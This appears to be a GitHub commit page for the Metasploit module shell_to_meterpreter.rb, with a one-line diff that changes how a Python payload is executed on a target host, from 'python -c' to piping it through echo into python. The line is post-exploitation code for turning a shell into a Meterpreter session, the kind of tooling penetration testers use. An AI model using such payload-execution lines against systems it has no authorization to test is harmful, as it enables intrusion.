Skip to content

Commit 9e0cb97

Browse files
committed
python -c payload -> echo payload | python
1 parent 9a5d5ee commit 9e0cb97

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/post/multi/manage/shell_to_meterpreter.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -174,7 +174,7 @@ def run
174174
end
175175
when 'python'
176176
vprint_status("Transfer method: Python")
177-
cmd_exec("python -c \"#{payload_data}\"")
177+
cmd_exec("echo \"#{payload_data}\" | python")
178178
else
179179
vprint_status("Transfer method: Bourne shell [fallback]")
180180
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)

0 commit comments

Comments
 (0)